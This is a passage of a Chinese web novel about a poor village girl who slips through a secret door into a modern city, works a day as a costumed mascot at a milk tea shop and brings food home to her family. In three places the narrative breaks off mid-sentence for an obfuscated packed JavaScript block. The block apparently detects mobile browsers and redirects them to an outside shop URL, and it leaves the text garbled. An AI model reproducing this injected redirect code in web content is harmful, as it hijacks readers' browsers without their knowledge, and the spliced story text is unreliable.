赵小芸也赶紧回过去一个灿烂的笑容：“我是从外地来的，不懂这里的规矩，谢谢您女儿提醒我。” 赵小芸蹲下去，与小女孩儿视线平齐：“小妹妹，谢谢你呀！” “不客气，姐姐知错就改，还是好孩子。”小女孩儿脆生生地说道。 女孩儿妈妈诧异地看了赵小芸一眼，头一次见如此坦率的人。 她看着赵小芸的两条麻花辫子，还有身上穿的衣服，上身是很旧的格子衫，下.身是灰蓝色裤子，脚上竟然穿着手工做的布鞋。 鞋子磨损严重，尤其是大拇脚趾的位置，布料稀薄，隐隐能看见里面的脚趾头。 这一身打扮，让她恍惚看见年代剧里出来的农村姑娘。 女孩儿妈妈心想，这小姑娘估计是从偏远的山旮旯里走出来的人，头一次到大城市，所以连红绿灯都没见过。 她指着路边的红绿灯，简单给赵小芸说明“红灯停，绿灯行”的交通规则。 “谢谢！”赵小芸对着女孩儿妈妈鞠了个大躬，把对方吓了一跳。 赵小芸顺利到达路对面，和母女俩挥手分别。 这里虽然陌生，一切都很神奇，超出她的常识，但是这里的人还是很友好的。 自从来到这个陌生世界的不安和恐惧逐渐消失，从内心深处涌出来的，是更多的安心和愉悦。 赵小芸站在路口，看红绿灯看得目不转睛，红灯绿灯黄灯明灭轮了好几轮，看得津津有味。 路过的人都会用诧异的眼神对赵小芸看上几眼，她也不在意。 看够了红绿灯，赵小芸转身走入人声鼎沸的美食一条街。 刚跨进小吃街里，属于食物的香味儿更加浓烈，赵小芸的肚子不受控制地咕噜噜叫了起来。 靠近路口的是个卖馍夹菜的小摊子，菜用铁板烧的方式处理，蔬菜和肉被铁板炙烤得焦香四溢，孜然、辣椒等各种调料往上面一撒，香味爆裂地炸开。 排队吃馍夹菜的人特别多，赵小芸头一次见这么做菜的，直冲进鼻子里的味道把她大脑都香迷糊了，脚下生根，整个人直呆呆地看着。 直到…… “美女，你的馍好了，十块钱。”小摊老板把做好的馍夹菜装塑料袋里，朝外递过去。 赵小芸呆滞的眼，陡然瞪圆，十块钱！ 她看着一头微卷长发、手腕上戴着布灵布灵手链的美丽姐姐，提着馍夹菜从长队里出来。 就那么巴掌大一个馍，里面夹点儿菜，竟然要十块钱！ 赵小芸这才注意到，小摊餐车上写着：素菜一元一串，荤菜一块五一串。 那些菜，都用竹签子串着，一根竹签子就串两片茄子，三片土豆片，还是土豆片比较小才串三片，片稍大一些的，才串两片土豆片。 就这，一块钱一串？ 在她们村里，一块钱能买好些东西，土豆茄子自家都种的有，不要钱！ 赵小芸瞅着让人心惊肉跳的高价，肚子都不敢再叫了，匆匆离开原地，继续往前走。 美食街上的小摊小店一个挨着一个，赵小芸在这些美食小摊前缓缓走过。 烧烤店前，老板架起烧烤架，一大把烤羊肉串架在铁架子上，被底下碳火烤的滋滋冒油。 老板抓了一把调和好的烧烤料粉撒上去，攒鼻霸道的香味儿喷涌而出。 赵小芸盯着那一串串色香味俱全的烤羊肉串，猛地吸了吸鼻子，口水泛滥。 麻辣烫小摊周围支了几张小桌板凳，老板端出一碗刚出锅的麻辣烫放在客人面前，红油铺了一层，晶莹剔透的红薯粉条和青菜、豆皮在碗里冒出尖儿。 客人迫不及待拆开一双一次性筷子，唏哩呼噜吃了起来，额头被辣出汗水，端起杯壁外渗满水珠的加冰的果啤，往嘴里灌了一大口，舒适爽快地哈出一口气，低头继续吃麻辣烫。 赵小芸的肚子呱呱叫。 酱褐色的凉粉被一只铲刀来回翻炒，滋滋作响。 “蒜辣椒葱花香菜要吗？” “不要葱花，多放辣椒。” 老板娴熟地颠锅，蛋炒饭飞到空中，翻了个身，又重新跌回锅中。 鸡蛋金黄，小青菜脆嫩，米饭粒粒分明。 半米高、腰那么粗的巨大块肉，串在机器上缓慢旋转。 烤肉焦香四溢。 赵小芸猝不及防被这么霸气实在的巨大块肉冲击到眼睛，双脚登时黏在了地上。 烤肉老板看向赵小芸，土里土气的打扮让他愣了下，不过下一瞬露出一个对客人热情的笑容：“妹子，来份烤肉饭吗？” 赵小芸顿时像只受惊的小松鼠一样抖了抖：“不不不，不用。” 她憋红了脸，低着头赶紧走了。 这么大这么香的肉，不知道要多少钱，她哪里买得起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283918|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵小芸恍恍惚惚：“这里的人可真有钱啊！” 吃肉像她在家里喝凉水一样。 等回家后，假如把自己今天见到的告诉别人，别人怕不是要笑话自己做白日梦。 赵小芸想到那个场景，忍不住笑起来。 笑过后，看着眼前的一切，赵小芸胸腔里翻腾着激动和兴奋：“不过这里可不就是跟做梦一样嘛！” 甚至，做梦其实都不敢这么做的。 这里的物资真的太丰富了，而且据她观察，这里的人买东西都不要票！ 但是这里的人花钱也特别奇怪，赵小芸没见有人掏出钱付账的。 总不能这里的钱看不见吧？ 赵小芸无法想象，百思不得其解。 突然，赵小芸脚下像是生了根，盯着一张牌子眼睛挪不动。 只见一块镶金边的小黑板上写着： 招聘玩偶扮演师，工资日结。 这是一家新开业的奶茶店，虽说刚开业，但这条街流量大，加上开业大酬宾打骨折的活动，店门口客满爆棚。 赵小芸心跳加速，这里竟然有招聘工作的！ 自家那边，厂里的工作都是铁饭碗，是要传给家里下一代的。 人多工作岗位少，除了极为特殊的情况，根本不可能会从外面招人。 就算厂里要招人，那招聘信息都是秘密，都是有关系的人介绍，基本不可能轮到外人。 可这里，招聘牌子竟然这么大喇喇地摆外面！ 赵小芸看着招聘眼红，脑子一热，冲过去问柜台后的人：“您、您好，我看到这个招聘，您看我能来干吗？” 柜台后正在做奶茶忙到冒烟的店员，根本没顾上看赵小芸，只听见有人来应聘，扭头冲后面喊了一声：“店长，有人应聘！” 没一会儿，店里急匆匆跑出来一位扎丸子头、妆容精致、衣着打扮干练的女人：“哪位是是应聘的？” “是我是我！”赵小芸迎上去，双脚并拢，双手贴在裤缝上，宛如站军姿。 店长看着眼前的赵小芸，愣了一下。 这么土的打扮她还是头一次见，不过在餐饮服务业做久了的人，对人礼貌微笑已经刻进骨子里，她当即条件反射地冲赵小芸露出一个如沐春风的微笑：“你好，我店里要应聘玩偶扮演师，你确定要来吗？” 她看着瘦瘦弱弱的赵小芸，心里是失望的。 扮演玩偶要穿上笨重的玩偶服，这么瘦弱的小姑娘可干不来。 本来，她本意是要招聘壮实的男生的，只是顾忌招聘牌子上如果特意写上“只招男生”，会让人误会性别歧视。 要是引起对她的奶茶店的反感，将会是对生意巨大的打击。 她的店虽然开在人流量巨大的小吃街上，但这里的奶茶店不止她一家，现在做生意卷的不行，稍不注意就破产闭店，她得扣住每一丁点的细节。 店长的犹豫迟疑，赵小芸以为对方看不上自己的条件，不想招自己，连忙说道：“我不怕吃苦，您别看我长得瘦，我有一把子力气呢，生产队里的婶子大娘们，都夸我力气大，干活又快又好。 “姐姐，您就让我试试，我要是干不成，不用您赶，我自个儿就走。” 5. 赚到一百块 店长看着赵小芸面黄肌瘦，身上穿的衣服洗得磨损发毛，尤其是这个编两条麻花辫的打扮，简直像是上个世纪的人，也不知道是从哪个山旮旯地出来的女孩儿，再看看她期待又忐忑的眼睛，顿时生出些许恻隐之心。 “行，你先过来试试。” 赵小芸松了一口气，对着店长鞠了一个九十度的躬：“谢谢！谢谢您！” 店长被这么个大礼吓了一跳，浑身不得劲儿：“不用，不用这样，咱们这里不兴鞠躬。” 她领着赵小芸去店里的仓库。 奶茶店的仓库不大，货架放满了东西，几乎把整个库房的空间占满。 只有靠近门口的地方，放了两张椅子，其中一张椅子上坐着一个满头大汗的男生。 男生正对着一个小风扇吹风，看见店长进来，连忙坐直，眼神忐忑地脱口而出：“店长，休息时间还没到！” 店长摆摆手：“我知道，齐宏你继续休息。” 赵小芸看见了正吹风的小电扇，虽然已经看过这个世界神奇的冰山一角，但是看见电扇，心里还是控制不住地惊了惊。 电扇！这可是电扇啊！ 这个世界那么多神奇的东西，看得她眼花缭乱，终于看见一个她认识的了。 看着电扇，赵小芸只觉得倍感亲切。 而且这个电扇可真好看，小巧精致，原来电扇还有这么小的，比她们那边的电扇好看多了。 店长指着靠墙放置的玩偶服，回头对赵小芸说道：“你试试，看能不能穿起来。” 赵小芸马上回神，严肃地点头。 店长搭手帮赵小芸穿玩偶穿，最后拉上拉链，扶着她不放心地问道：“怎么样？能走路吗？是不是太重了？” 赵小芸试探着走了几步，虽然玩偶服笨重，但她常年干重活儿，这点儿重量足以承受。 “没问题，也不是很重。”赵小芸转圈圈，甚至还表演了个单脚站立。 店长觉得赵小芸在逞强：“真的没问题吗？咱们每次工作时间一个小时，一小时后才能休息，休半个小时再继续工作，你确定自己的身体能撑住？” 齐宏也不吹电扇了，转过身目瞪口呆地看着赵小芸，他都觉得又笨又重的玩偶服，这个瘦巴巴的小女生，竟然能穿起来？还说不重？ 五分钟后，赵小芸脱掉玩偶服，坐在一张椅子上，面对喜色掩不住的店长。 店长本来就是因为一点儿不忍心，才给赵小芸一个机会让她试试，没想到她看着这么瘦弱无力的一个女孩子，竟然真的能行。 店里今天刚开业，本来是提前招聘好了两个玩偶扮演师的，谁知道其中一个男生半天都没干完，就受不住累跑路了。 她急的上火，但也没办法，只能写了个招聘的牌子，祈祷能招到人。 没料到还真有惊喜，当天就招到了。 店长清清嗓子：“咱们的工资是这样，时薪二十，虽然不是很高，但干一个小时就能休息半个小时，休息的这半个小时也是算工资的。 “下午三点开始上班，晚上管一顿饭，奶茶每天免费赠送两杯，口味儿任选。 “你叫……” “赵小芸，我叫赵小芸。”赵小芸连忙接上说道。 店长点点头：“小芸，你要是愿意，咱们现在就签协议。方便的话，今天晚上能上岗吗？要是不方便也没关系，明天也行。” 赵小芸猛点头：“愿意愿意！方便，我现在就能上岗。” 生怕店长反悔，赵小芸蹭地站起来就要去穿玩偶服。 “也不用这么急，咱们先签协议。”店长乐开了花，去拿了两张打印好的协议给赵小芸。 赵小芸摸着雪白的打印纸，看着上面字迹清晰的协议条款，心里忍不住感慨：真是比自己上学时用的教科书都好呢！ 奶茶店的活动持续五天，今天已经过去一天，赵小芸最多还能干四天。 看过协议后，赵小芸在上面一笔一划地签下自己的名字：“店长，我签好了。” 她学着齐宏喊“店长”这个称呼。 店长扫了一眼：“身份.证号和手机号码也填一下。” “身份.证号和手机号码？”赵小芸愣住，这都是啥？ 店长见她一脸茫然，还以为她不愿意透露自己的身份.证号：“别担心，咱们这是正规门店，况且就只有一个身份.证号，我也不可能拿着它违法犯罪诬陷到你身上。” 赵小芸慌乱地捏紧自己的手指头：“我、我没身份.证号和手机号码，没这个的话，会不符合条件，不能干这个活儿吗？” 这下子轮到店长愣住，旁边的齐宏也一脸诧异地看过来。 齐宏嗓门大，一开口像是跟人吵架：“我去！！！妹子，你该不会是山沟里那种……就那种重男轻女，女娃子连户口都不给上的落后愚昧奇葩家里出来的吧？” “不是不是！我爸妈没有不给我上户口。”赵小芸连连摆手，不过想到家里的情况，又有些艰难地说道，“我爷爷奶奶，还有大伯和两个叔叔他们，的确比较看重家里的男娃。 “不过这也很正常，我们村里差不多家家户户都这样，男娃力气大，干活儿多，女娃长大了要嫁出去。老一辈都说‘嫁出去的女儿泼出去的水’，所以对女娃都不怎么重视。” 店长和齐宏看着赵小芸，两人都是一言难尽的模样。 店长去拿了一杯奶茶过来，递给赵小芸，一脸怜爱地说道：“小芸，你现在已经从原生家庭走出来，从今天开始，忘掉以前，开启新生活。这杯奶茶算是我庆祝你开始新生活，祝你以后的日子都甜滋滋的，加油！” “店、店长？”赵小芸慌乱地接过奶茶，店长是误会啥了吧？ 她认真解释，不想爸妈被别人误会，“我爸妈真的对我挺好的。” “甭管真假，先喝奶茶吧！喝完奶茶开始上岗。”店长语气平常，赵小芸也听不出她信没信。 奶茶是温热的，赵小芸抱着奶茶不知所措，还没开始工作竟然就先送给她奶茶喝，店长也太大方了吧？ 话说奶茶是啥？这奶茶该怎么喝？ 店长看着赵小芸双手捧着奶茶小心翼翼地研究，失笑：“不知道怎么打开吗？把吸管从这个小口里插.进去，直接吸着喝。” “谢谢店长。”赵小芸不好意思地笑笑，依着店长的指点，把吸管插.进去，轻轻嘬了一口，香甜浓郁、口感丝滑的奶茶顺着喉咙滑下去，瞬间让她惊艳地瞪圆了眼睛，“好甜！好喝！” 这么甜，得放了多少糖啊！ 这个世界的食物那么那么香，现在喝的饮料也这么好喝，这里人都过得神仙日子吧！ 店长笑笑：“奶茶其实也就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283919|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，偶尔喝一次，味道很惊艳，但喝多了就腻了。” 赵小芸瞪着眼睛不可思议：“这么好喝的东西，怎么可能会腻？” 她绝对不会腻，喝一大水缸她也不可能腻，在自己那边，谁要是说喝糖水会腻，别人肯定笑话他脑子有问题。 这个奶茶这么好喝，店长竟然说会腻，这里的人也太奇怪了。 店长一脸忍笑，心道小芸也就是没喝过，等将来喝腻了就知道了。 她把协议收起来，没填身份.证号和手机号也没什么问题，反正就几天的临时工而已。 赵小芸小口小口地喝着奶茶，不舍得喝完，只喝了几口就停住了。 这么好喝的奶茶，她要带回家给爸妈和弟弟妹妹们都尝尝。 …… 齐宏休息的时间到了，套上玩偶服，出去继续工作。 店长嘱咐赵小芸：“小芸，你先跟着齐宏，看看他是怎么工作的，看会了之后再回来换玩偶服上岗。” 赵小芸乖巧地点头：“好的店长。” 她跟着齐宏，眼睛都不眨地看他工作，和客人互动，陪客人拍照片…… 赵小芸震惊地看着这些人用手里拿的长方块照一下，咔嚓就能拍好一张照片。 这是啥东西？也太神奇了吧！ 是照相机吗？ 这就是传说中的照相机吗？ 爸爸从部队里回来，经常给她和弟弟妹妹讲一些新鲜事儿，其中就说过照相机。 当时她听着就觉得照相机特别神奇，可以拿在手里，走到哪里都能照相。 现在终于见到了，比她想象的还要神奇，是她根本想象不出来的东西。 不过，这个世界的照相机，肯定比自己家那边的要更神奇一些吧？ 赵小芸学习能力强，而且扮演玩偶也不难，就是和别人玩儿而已。 学会之后，赵小芸就回去穿上玩偶服，过来和齐宏一起工作。 玩偶服笨重闷热，但里面有一个小电扇，吹起来令空气流通，赵小芸觉得也没那么难受。 今天正好是五一劳动节放假，客流量大，店里延长两个小时关门，干到凌晨一点。 不过凌晨十二点后客人就不多了，赵小芸和齐宏也不必再穿玩偶服招揽客人。 齐宏直接下班，赵小芸见店长在仓库整理货物，觉得今天白喝了店长一杯奶茶，心里过意不去，就去帮店长的忙。 又忙了一个小时，货物才整理完。 这一个小时，店长也给赵小芸算了工资。 她从九点开始干活，到凌晨两点，一共五个小时。 时薪二十元，五个小时就是一百块。 赵小芸没有手机，不能转账。 店长提前就备好了现金，一张崭新的百元大钞放在了赵小芸手里。 赵小芸好奇地看着一百元钱，心中激动不已，这就是这里的钱吗？做的也太精美太好看了吧！ 一百块！ 竟然是一百块钱！ 才工作了几个小时，就赚了一百块！ 赵小芸觉得自己在做梦。 这要是给村里人说，自己赚了一百块钱，他们铁定说自己在做白日梦。 不过说起来，这比做梦都夸张，自己做梦可不敢做这么大胆的梦。 赵小芸忍不住嘿嘿傻乐出声。 6. 下班回家 店长见赵小芸笑得一脸满足，露出一口白牙，有点儿傻兮兮的，但又很可爱。 一百块钱就能乐成这样，在现在这个社会，真是很少见。 她邻居家的孩子，还没赵小芸年龄大，才七八岁，拿着一百块钱零花都不当钱的。 当然，也是邻居家有钱。 店长去拎过来一袋外卖，递给赵小芸：“小芸，今天辛苦你了，吃完赶紧回去休息吧！” 赵小芸愣住，没立刻接过来，实在不敢置信，店长竟然还送给她吃的：“真、真的给我？不是说只管晚饭吗？” 她可还记着店长说的那些“工作福利”。 而且她能闻出，这袋子里飘出来的有肉的香味儿，店长竟然送给她肉吃！ 店长笑笑：“你这丫头，真是实诚过头，你今天加班忙到这么晚，我都没给你算加班费，只是一份黄焖鸡而已，又算什么？” 如果是别人，她肯定不会这么说，省得因为没加班费心里不舒坦，对她生出埋怨。 但赵小芸不一样，她真的太简单单纯，又贫穷到让人可怜心疼。 这种贫穷，不仅仅是指物质上的，更是精神上的。 不过，能靠自己的双脚走到这里，赵小芸又是勇敢而大胆的，让人敬佩。 赵小芸这才接过外卖袋子，往里面看了一眼，两个透明盒子摞在一起，上面的盒子里装着满满的肉块，酱褐色的肉只是看一眼就好吃到让她流口水。 下面的盒子被挡住，不知道装的是什么好吃的。 赵小芸的肚子咕咕叫起来，店长轻笑一声，她的脸不由得一红。 店长没有嘲笑的意思，看着赵小芸的眼神更加柔和：“饿坏了？快吃吧。” 赵小芸被这份黄焖鸡香得脑子都迷糊起来，但还是没吃，犹豫又小心地问道：“店长，我能带回去吃吗？” 这可是肉，家里好久没吃过肉了，她要和家人一起吃。 而且她住院这些日子，家里过得一直很苦，尤其是妈，刚怀孕三四个月，一直操劳，甚至都瘦了。 孕妇不胖反瘦，这是很危险的一件事。 “当然可以。”店长朝外面看了一眼，这么晚了，路上已经没什么车，虽然这边治安好，但赵小芸一个山沟里走出来的小姑娘，什么都不懂，她担心万一出什么事儿。 “小芸，你住在哪里？我开车送你。” “不用不用。”赵小芸受宠若惊，连连摆手，“谢谢店长，不过不用送我，我就在附近住。” 她给店长指了指自己过来地方的方向。 店长想了想，记得那边有一片以前的老房子，有些房主改造了一下，往上面修建二层、三层，装修成廉价出租房，出租给打工人。 小芸应该是租了那边的房子住，那边房租尤其便宜。 “的确很近。”店长放下心，小芸不是露宿街头就行，“我开车送你过去用不了几分钟，你等我一下，我去把车开过来。” “店长，真不用。”赵小芸有些急切地又喊了好几声店长。 店长充耳不闻，赵小芸看着她往前走，根本不听自己拒绝。 赵小芸忐忑地在原地等了几分钟，一辆白色的小轿车停在她旁边，车窗缓缓落下，露出驾驶座上店长的脸，店长一摆手：“小芸，上车。” 赵小芸的心脏扑通扑通跳，看着漂亮的小轿车，震惊得两眼茫然。 没想到店长说的车，竟然是小轿车！ 她刚才下意识以为是自行车呢。 赵小芸看着小轿车，羞赫道：“店长，我不知道怎么上去。” 店长愣了一下，随即反应过来，忘了赵小芸可能根本没坐过车，不知道怎么开车门。 她从驾驶座上下来，拉着车门把手，细心地告诉赵小芸：“就这样，很简单的，你下次再坐车就会了。” 店长关上车门，让赵小芸亲自试了一下。 从里面怎么开车门，店长也给赵小芸演示了一遍。 都学会之后，赵小芸开开车门坐进去，心里激动的不得了。 真没想到，自己竟然还有坐小轿车的一天，今天真的像做梦一样。 车里有着淡淡的香味儿，屁股底下的坐垫特别软，坐着格外舒服。 赵小芸忍不住悄悄摸了一把坐垫，没摸出是什么材质：“这小轿车真好，店长真了不起。” 店长笑了一声，用随意闲聊的语气和赵小芸说话：“我这车一般，才十万出头，小芸你能吃苦，干活又勤奋，等将来赚到钱，给自己买一辆更好的车。” 赵小芸咂舌，才！十万多？ 这对她就是天文数字，店长可真是太看得起她了。 吓人，真是太吓人了，这里的人简直不把钱当钱看。 来的时候，赵小芸走了至少半个小时的路，店长开车没几分钟就到了。 在巷子和街道口停下，赵小芸从车里下来，冲她挥手：“谢谢店长。” 店长也给她摆了下手，调过车头，风一般开走了。 赵小芸看着车走到街道尽头拐弯，什么都看不见了，才转身走入巷子里。 来时亮着灯的人家已经熄灯，巷子里黑乎乎的。 不过这里的路平坦，好走，赵小芸不用像走村里的路一样小心，担心踩着石头或绊住树根杂草摔到。 她右手提着一份黄焖鸡，左手提着一杯只喝了几口的奶茶，今天的经历太离奇，身体的兴奋还没有褪去，即便走在伸手不见五指的黑暗里，心里也一点儿都不害怕。 走到宽敞的巷子尽头最后一户人家，赵小芸从门缝里钻进去，转身合上门，捡起地上的门栓，把拇指粗的铁质门栓棒子插.进大门和地上的洞里。 穿过院子，回到正屋门前，推开门，跨过去…… 天旋地转的感觉转瞬即逝，赵小芸再睁开眼，眼前正是自家后院的菜园子。 不知道是不是自己的错觉，总觉得穿过门后身体的不适减轻了。 难道是穿的次数多了，身体逐渐习惯了？ 赵小芸思绪飘飞，漫无目的地猜想着。 回到前院，进入灶房里，把外卖袋子里的一盒黄焖鸡取出来，赵小芸这才看见下面的一盒是白花花的大米饭。 她又去堂屋拿过来一个搪瓷茶缸，把奶茶倒进茶缸里。 印花漂亮的外卖袋子，与装黄焖鸡米饭的塑料餐盒，还有奶茶杯，都被赵小芸收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283920|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，藏到了柴火堆后面。 等明天再通过门去那个神奇世界的时候，这些都得一块拿走，放到门那边去，毕竟这些东西别说村里没有，就是县城省城都没有。 收拾好一切后，赵小芸踮着脚尖，不发出任何声音，悄悄回屋准备爬上床睡觉。 屋子里黑暗一片，赵小芸小心挪动脚步，摸到床，正准备爬上床，动作突然一顿。 妹妹呢？ 赵小芸没有摸到妹妹，浑身寒毛炸开，胳膊上起了一层鸡皮疙瘩：“玲玲？” “玲玲，玲玲你在吗？”赵小芸也顾不上家里人发现自己大半夜从外面回来，妹妹不见了，让她心慌的不行。 会不会是见我一直没回来，所以出去找我了？ “小宇！爸！”赵小芸额头和后背上都冒出冷汗，发现奇妙世界，从那个世界里赚到钱，被店长送肉米饭和奶茶的兴奋喜悦也都没了踪影。 赵小芸从屋里跑出去，大声喊：“玲玲！小宇！爸！” “姐，姐姐你回来了？”隔壁传来弟弟妹妹喜悦的声音。 赵小芸大惊大喜，转身朝隔壁院子跑，隔着到腰高的篱笆墙，看见两个小人影的轮廓。 隔壁邻居是方家，方叔叔的儿子方夏生比自己大一岁多一点。 方夏生从小性子就安静，也不像其他男孩那样调皮捣蛋，更不会随便揪女孩子的辫子。 赵小芸小时候一直觉得乖乖巧巧的方夏生是女孩子，很喜欢找他一起玩儿，两人的关系从小到大都很好。 “玲玲小宇，你们怎么在方叔叔家？”这可是半夜，不在自己家睡觉，跑邻居家做什么？赵小芸满头疑惑。 赵晨玲的小手从篱笆墙的小洞里穿过来，攥住赵小芸的衣角：“姐姐，我睡醒一觉起来尿尿，你还没有回来，我就去找爸爸说，他找你也没找到，就喊了村里人一起去找你。 “我和小宇本来也要跟着去，但是爸爸说天太黑，怕我们俩也丢了，就让我们过来方叔叔家，托方爷爷和方奶奶照看我们。 “姐姐，你去哪里了？” 原来是这样，赵小芸怔怔地，没想到自己竟然让全家都这么着急。 “小芸？”方爷爷和方奶奶年纪大了，耳朵不灵敏，腿脚也不方便，见双胞胎俩小家伙都跑出来，喊着姐姐才反应过来是赵小芸回来了，连忙跟出来。 方奶奶的眼睛到了晚上就会看不见，被方爷爷扶着，面朝赵小芸的方向问道：“是小芸回来了？” “是我！方奶奶，方爷爷，让你们担心了。”赵小芸下意识多说了几句话解释，“我晚上那会儿睡不着，就起来走走，后来去后院坐了坐，谁知道就睡着了，刚才才醒过来。” 她扯谎了，后院那扇门的秘密还不知道是怎么回事，不能随意泄露出去，而且除了她别人都看不见那扇门，就算她说真话，别人也只以为她是脑子出了毛病。 赵晨宇和赵晨玲从方家回来，赵小芸出去找爸爸和村里帮忙的人回来，又折腾了半个多小时。 等赵小芸躺床上准备睡觉，已经凌晨三点多。 几乎是刚闭上眼睛，赵小芸就睡死了过去，灶房里的黄焖鸡米饭和奶茶，她全忘了和爸说。 7. 告诉爸妈 赵小芸这一觉睡得特别沉。 毕竟才刚刚出院，需要多休息，不能干重活。 昨天挤公共汽车从省城回来，晚上又通过门进入另一个世界，穿着人偶服工作了好几个小时，凌晨两点多回家再跑着找人，这一天一夜折腾的不轻，身体早就疲惫不堪。 赵小芸还没睁开眼睛，就被太阳光晃得刺眼，下意识扭头朝向另一边，睁开模糊的双眼，打了个大大的哈欠，生理泪水从眼眶里挤出来，顺着眼角流下去。 赵小芸抬手抹了一下眼睛，刚刚醒过来，脑子里像是倒进了一碗浆糊，不太清醒。 床板很硬，睡得腰酸背痛。 赵小芸恍惚了一会儿，才翻个身，单手撑着床坐起来。 看着外面的大太阳，赵小芸一个激灵：“我怎么睡这么死？” 这一觉感觉睡了好久好久，是以前从没有过的，以前早上五六点她都已经醒了。 赵小芸赶紧起床，穿上衣服，辫子没仔细梳，匆忙间编的辫子比较毛糙。 “也不知道几点了，没表看时间就是不方便。”赵小芸小声嘀咕。 赵卫国前年过年休假回来，带回来一个马蹄表，和叔伯几大家子人一起用。 现在自家分出来了，但家里没马蹄表，肯定是留到大院那边了。 “明儿个我就去拿回来。”不管硬留还软留下，反正她必须要把表拿回来，那是自己家花钱花票买的马蹄表，凭什么自己家不用，留给别人用？ 赵小芸从屋里出来，看见赵卫国正在院子里编竹席、竹筐。 “爸，几点了？” 赵卫国瞥了一眼太阳，估摸时间：“大概十点多。” 十点多，没事。 赵小芸松了口气，只要不是睡到下午就好，她下午三点钟还要去工作呢。 想到工作，赵小芸心里又忍不住涌起激动，这可是一份体面又轻松的工作，可惜不能往外说，不然别人都要羡慕她。 赵小芸走到赵卫国身边，从地上抓起一把竹篾子。 这些竹篾子劈的宽度均匀，没有毛刺，处理得十分光滑。 “爸，这些竹篾子……”赵小芸迟疑地瞥向赵卫国。 赵卫国生怕闺女误会自己不顾腿伤又干活，赶紧解释：“是夏生劈好给我送过来的，我坐着编席子不费腿，要是不干活儿光闲着，我这浑身不舒坦。” 赵小芸点点头，去打水洗脸。 赵卫国一边编席子，一边频繁地瞥赵小芸，满脸欲言又止的样子。 早上他起床去灶房里，看见一碗鸡肉和一碗白米饭，还有一茶缸闻着又香又甜的奇怪糖水，真的吓了一大跳。 昨晚上小芸不在，大半夜才回来，说是在后院不小心睡着了。 本来他没多想，但是早上看见灶房里的肉、白米饭和糖水，他觉得八成是闺女弄回来的，昨晚上肯定说瞎话了。 赵卫国吓得心脏砰砰跳，闺女胡说八道几句瞎话没事，但要是脑子一时糊涂，干了什么危险的事儿可就不好了。 他清楚小芸这孩子看着温柔文静，实际上心劲儿强。 这次住院治伤花了不少钱，小芸心里肯定要多想，再加上翠芳怀孕，因着家里接二连三出事受到影响，这胎反应格外大，当时孕吐都快吐虚脱了，什么都吃不下，遭了大罪，身体急需补充营养，万一小芸冒险走了什么黑路子…… 赵卫国简直不敢再往下想，闺女犯点儿不涉及道德的小错没关系，他能兜底，他怕的，是闺女有危险啊！ 眼见赵小芸洗好脸，赵卫国终于做好心理建设，用自认平常实际小心忐忑的语气问道：“小芸，灶房里的肉和米饭……” “哦——”赵小芸恍然想起来，昨天晚上实在太困，忘记告诉爸了，“肉和米饭是我拿回来的，爸，玲玲小宇你们吃了吗？” 赵卫国摇头：“我看见家里突然多出一碗肉和白米饭，吓了一跳，哪里敢吃。” 赵小芸理解，搁谁看见家里莫名其妙多出东西，都得忐忑，笑了笑说道：“没事儿，放心吃。本来昨晚上要告诉你的，后来太困就给忘了。” 她打算把门的秘密告诉爸妈，自己以后还会频繁穿越那道门，肯定瞒不住家里亲近的人，与其像昨晚那样让爸着急害怕，不如摊开和爸妈说清楚。 至于弟弟妹妹就暂时先不跟他们说，两个人还小，万一说漏嘴，再惹出什么不必要的麻烦就不好了。 “爸你先等下，我吃完早饭告诉你是怎么回事。”赵小芸实在太饿了，去灶房里吃早饭。 “灶里有红薯。”赵卫国在后面扬声提醒。 赵小芸在灶灰里扒拉出两块红薯，灶台的锅里是青菜汤，和进去的有玉米面，汤看着稠稠的，调料只加了一点粗盐，味道不怎么样。 不过赵小芸饿坏了，没滋没味的玉米面青菜汤也喝得津津有味。 喝完汤，她拿着两小块红薯出来，搬了个小板凳坐在赵卫国身边，一边吃红薯，一边给她说自己昨晚上的奇遇。 “……那里家家户户都有电灯，路上的路灯可多可亮了，还有人用彩色的灯泡当装饰，就跟电不要钱一样。” “爸，你在外省见过彩色的灯泡吗？像彩虹一样，特别好看。” “没见过。”赵卫国摇头，想象不到像彩虹一样的灯泡是啥样，是彩虹发光的模样吗？ 赵小芸小口小口慢慢吃红薯，这两块红薯很小，一口咬下去，全是丝，一不留神就能塞牙缝里，特别难受。 赵小芸咽下一口红薯，继续说道：“那里的楼盖得可高可高，站在底下往上瞅，就像……像山里的悬崖峭壁那么高！楼的外墙上也都装了灯，也不知道有啥用，不过挺好看的。 